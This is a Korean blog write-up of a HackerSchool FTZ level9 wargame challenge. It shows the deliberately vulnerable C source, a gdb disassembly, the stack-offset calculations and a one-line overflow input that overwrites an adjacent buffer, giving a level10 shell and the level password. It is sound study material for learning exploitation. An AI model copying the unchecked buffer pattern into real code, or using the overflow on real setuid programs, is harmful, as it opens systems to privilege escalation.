[ftz] hackerschool level9 풀이

l hackerschool level9 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

level9 문제는 버퍼 오버 플로우 문제입니다. 문제를 풀기 전에 달고나 문서를 읽고 푸시면 훨씬 이해가 쉬울 것입니다.

 

 

login as: level9 
level9@192.168.146.128's password:

 

 

 

level9 문제의 아이디인  level9 와 password인   apple 을 입력하여 level9의 유저로 접속합니다.

 

 

 

[level9@ftz level9]$ ls -l
total 12
-rw-r--r--    1 root     root          391 Nov 13  2002 hint
drwxr-xr-x    2 root     level9       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level9       4096 Jul  8 18:35 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level9 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level9@ftz level9]$ cat hint


다음은 /usr/bin/bof의 소스이다.

#include  <stdio.h>
#include  <stdlib.h>
#include  <unistd.h>

main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }

}

이를 이용하여 level10의 권한을 얻어라.

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

 

 

[level9@ftz level9]$ ls -l /usr/bin/bof
-rws--x---    1 level10  level9      12111 Sep 10  2011  /usr/bin/bof 

 

 

 

문제를 풀기 전에 힌트에서 봤던 /usr/bin/bof 파일이 어떤 파일인지 보겠습니다. 

level10으로 setuid가 걸려있고, level9의 경우 실행만 가능한 파일입니다.

 

우리는 나중에 gdb로 분석을 해볼 것이기 때문에 hint에 있는 코드를 복사하여 /tmp 폴더 안에 bof.c라는 파일을 만들어주도록 하겠습니다.

 

 

 

[level9@ftz tmp]$ vi bof.c
[level9@ftz tmp]$ ls -l
total 4
-rw-rw-r--    1 level9   level9        372 Nov  1 23:25 bof.c
[level9@ftz tmp]$ gcc -o bof bof.c
[level9@ftz tmp]$ ls -l bof
-rwxrwxr-x    1 level9   level9      12111 Nov  1 23:25 bof

 

 

 

bof.c 파일의 내용으로 실행파일을 만들어주기 위해  gcc -o bof bof.c 명령어를 이용하여 bof 라는 이름의 실행파일을 생성합니다.

 

 

 

[level9@ftz tmp]$ gdb bof
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>:    push   %ebp
0x08048421 <main+1>:    mov    %esp,%ebp
0x08048423 <main+3>:    sub    $0x28,%esp 
0x08048426 <main+6>:    and    $0xfffffff0,%esp
0x08048429 <main+9>:    mov    $0x0,%eax
0x0804842e <main+14>:   sub    %eax,%esp
0x08048430 <main+16>:   sub    $0xc,%esp
0x08048433 <main+19>:   push   $0x8048554
0x08048438 <main+24>:   call   0x8048350  <printf>
0x0804843d <main+29>:   add    $0x10,%esp
0x08048440 <main+32>:   sub    $0x4,%esp
0x08048443 <main+35>:   pushl  0x8049698
0x08048449 <main+41>:   push   $0x28
0x0804844b <main+43>:   lea    0xffffffd8(%ebp),%eax
0x0804844e <main+46>:   push   %eax
0x0804844f <main+47>:   call   0x8048320  <fgets>
0x08048454 <main+52>:   add    $0x10,%esp
0x08048457 <main+55>:   sub    $0x4,%esp
0x0804845a <main+58>:   push   $0x2
0x0804845c <main+60>:   push   $0x804856a
0x08048461 <main+65>:   lea    0xffffffe8(%ebp),%eax
0x08048464 <main+68>:   push   %eax
0x08048465 <main+69>:   call   0x8048330  <strncmp>
0x0804846a <main+74>:   add    $0x10,%esp
0x0804846d <main+77>:   test   %eax,%eax
0x0804846f <main+79>:   jne    0x80484a6 <main+134>
0x08048471 <main+81>:   sub    $0xc,%esp
0x08048474 <main+84>:   push   $0x804856d
0x08048479 <main+89>:   call   0x8048350  <printf>
0x0804847e <main+94>:   add    $0x10,%esp
0x08048481 <main+97>:   sub    $0x8,%esp
0x08048484 <main+100>:  push   $0xbc2
0x08048489 <main+105>:  push   $0xbc2
0x0804848e <main+110>:  call   0x8048360  <setreuid>
0x08048493 <main+115>:  add    $0x10,%esp
0x08048496 <main+118>:  sub    $0xc,%esp
0x08048499 <main+121>:  push   $0x804857a
0x0804849e <main+126>:  call   0x8048310  <system>
0x080484a3 <main+131>:  add    $0x10,%esp
0x080484a6 <main+134>:  leave
0x080484a7 <main+135>:  ret

 

 

 

위의 코드가 bof 파일 main의 어셈블러 코드입니다.  우리는 이 부분 중 빨간색으로 되어있는 부분을 집중적으로 보겠습니다.

 

 

1. 0x08048423 <main+3>:    sub    $0x28,%esp

첫 번째 부분입니다. 0x28을 10진수로 바꾸면 40이고, 40byte만큼 공간을 할당하는 것을 볼 수 있습니다. 

 

 

 

2. 0x0804844f <main+47>:   call   0x8048320  <fgets>

두 번째 부분입니다. hint 코드에서 확인해보면 fgets에 buf, 40, stdin 세 개의 인자가 들어가는 것을 볼 수 있습니다. 이 부분은 어셈블리 코드에서 main+46, main+41, main+35를 의미합니다. 인자 전달과 반대로 stack에 들어갈 때에는 stdin, 40, buf 순서로 들어가며 따라서 0x8049698, 0x28, 0xffffffd8 이 순서대로 들어가게 됩니다. 그렇기 때문에 마지막에 push 되는 주소가 buf와 연관이 있는 주소이며, esp - 0xffffffd8을 2의 보수 취한 위치가 buf의 위치를 의미합니다.

 

0xffffffd8을 2의 보수를 취하게 되면 40이 나오게 되고, ebp - 40의 지점이 buf의 지점인 것을 알 수 있습니다.

ffffff의 경우 1의 보수를 취하게 되면 다 0이 되기 때문에 뒤의 d8 만 고려해서 2의 보수를 취해보겠습니다. 
11011000 => 00100111 + 1 => 00101000 => 8 + 32 = 40

 

 

 

 

3. 0x08048465 <main+69>:   call   0x8048330  <strncmp>

세 번째 부분입니다. strncmp를 호출하는 것을 볼 수 있는데 buf2를 입력받지 않았는데도, buf2의 2바이트를 go와 비교하고 있습니다. 여기서 우리는 buf는 10바이트 크기의 변수인데 fgets에서 최대 40바이트까지 입력받을 수 있기 때문에 buf를 넘치게 입력하게 되면 buf2의 영역을 침범할 수 있다는 것을 알 수 있습니다. fgets와 마찬가지로 strncmp 또한 스택에 들어갈 때에는 2, go, buf2 순서로 들어가게 되고, 0x2, 0x904856a, 0xffffffe8이 순서대로 들어가게 됩니다. 그렇기 때문에 esp - 0xffffffe8을 2의 보수 취한 위치가 buf2의 위치를 의미합니다.

 

0xffffffe8을 2의 보수를 취하게 되면 24가 나오게 되고 ebp - 24의 지점이 buf2의 지점인 것을 알 수 있습니다.
11101000 => 00010111 + 1 => 00011000 => 8 + 16 = 24

 

 

 

그럼 이제 메모리 구조를 그림으로 나타내 보도록 하겠습니다.

 

 

이러한 모습으로 되어있으며 ebp - 40에서 buf가 ebp - 24에서 buf2가 시작됩니다. ret와 sfp는 각각 4byte입니다.

 

fgets에서 40바이트만큼 입력이 가능하기 때문에 buf와 buf2사이의 간격인 16개의 문자를 입력하고, go를 입력하게 되면 buf2 영역을 침범하게 되고, buf2에 go가 들어가게 될 것입니다. 

 

 

 

[level9@ftz level9]$ (python -c 'print "A"*16+"go"';cat) | /usr/bin/bof
It can be overflow : Good Skill!
my-pass
Level10 Password is "interesting to hack!".

 

It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[level10@ftz level9]$ my-pass
Level10 Password is "interesting to hack!".

 

 

 

두 가지의 방법으로 풀어보았습니다. 첫 번째는 프로그램 실행과 동시에 문자열을 전달하는 방법이고, 두 번째는 프로그램을 실행하고 문자열을 전달하는 방식입니다. 

 

 

 

 

l level10 비밀번호

더보기

Level10 Password is "interesting to hack!".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level11 풀이  (0) 2019.11.14
[ftz] hackerschool level10 풀이  (0) 2019.11.13
[ftz] hackerschool level8 풀이  (0) 2019.11.09
[ftz] hackerschool level7 풀이  (0) 2019.11.05
[ftz] hackerschool level6 풀이  (0) 2019.11.04

이 글을 공유하기

댓글

Designed by JB FACTORY